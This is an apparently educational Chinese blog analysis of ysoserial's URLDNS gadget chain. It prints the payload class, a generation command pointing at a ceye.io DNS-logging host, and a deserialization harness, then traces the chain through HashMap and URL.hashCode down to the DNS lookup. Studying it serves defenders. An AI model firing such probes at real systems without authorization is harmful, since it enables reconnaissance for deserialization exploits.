何为URLDNS
这里借助P牛的说法,URLDNS就是ysoserial
中一个利用链的名字,但准确来说,这个其实不能称作“利用链”。因为其参数不是一个可以“利用”的命令,⽽仅为一个URL,其能触发的结果也不是命令执⾏,⽽是一次DNS请求。
虽然这个“利利⽤用链”实际上是不能“利用”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时使用:
– 使用Java内置的类构造,对第三⽅库没有依赖
– 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
URLDNS分析
这里我们根据ysoserial
的payload
来看下URLDNS是如何构造的:
public class URLDNS implements ObjectPayload<Object> {
public URLDNS() {
}
public Object getObject(String url) throws Exception {
URLStreamHandler handler = new URLDNS.SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL((URL)null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
public static void main(String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
static class SilentURLStreamHandler extends URLStreamHandler {
SilentURLStreamHandler() {
}
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
我们看到这里的getObject
方法最终返回一个hashmap,这里简单对hashmap进行介绍
HashMap:它根据键的hashCode值存储数据,大多数情况下可以直接定位到它的值,因而具有很快的访问速度,但遍历顺序却是不确定的。 HashMap最多只允许一条记录的键为null,允许多条记录的值为null。HashMap非线程安全,即任一时刻可以有多个线程同时写HashMap,可能会导致数据的不一致。如果需要满足线程安全,可以用 Collections的synchronizedMap方法使HashMap具有线程安全的能力,或者使用ConcurrentHashMap。
因此这里将实例化的URL对象赋值为hashmap的键名,而对应的URL字符串为hashmap的键值,同时注意到这里还通过反射将URL对象的hashCode
属性赋值为-1
,原因稍后会进行说明。
因此我们使用
java -jar ysoserial.java URLDNS http://xxx.ceye.io >>raw.bin
接着我们只需要反序列化该对象即可
import org.omg.CORBA.OBJECT_NOT_EXIST;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;
public class URLDNS {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("raw.bin"));
ois.readObject();
}
}
便可以看到我们的DNS接收平台接收到了DNS请求,整个利用就到此结束,下面对gadgetChain进行分析
我们需要知道的是,当反序列化该对象时,其实是调用hashmap
的readObject
方法
先来看一下整个调用栈:

整个gadgetChain不长,因此分析起来也比较易懂,首先我们知道反序列化是调用Hashmap的readObject方法:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
看到最后putVal操作对键名进行hash方法,跟进hash方法:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
对hashmap的键名进行判断,如果非空,则会调用键名的hashCode方法,而这里我们是将URL对象赋给键名的,因此会调用URL对象的hashCode方法,跟进:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
在这里先对URL对象的hashCode属性判断,如果hashCode不是-1,则直接返回hashCode,这里也解释说明了为何在ysoserial的payload中,为何需要
Reflections.setFieldValue(u, "hashCode", -1);
将URL对象的hashCode属性赋值为-1
,这样一来才会调用handler的hashCode
方法,其中handler是URLStreamHandler
对象,跟进其hashCode
方法后:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
在这里就很明显了,这里传入的是URL对象,判断完URL对象的协议后调用getHostAddress
方法,其作用就是根据主机名,获取其IP地址,在网络上就是进行一次DNS查询,因此到这里整个URLDNS的gadgetChain就分析完成
总的来说,URLDNS应该是java反序列化链的构造中最为简单和最容易理解的一条链子,整个分析到此结束,如果不对的地方,还请大佬指正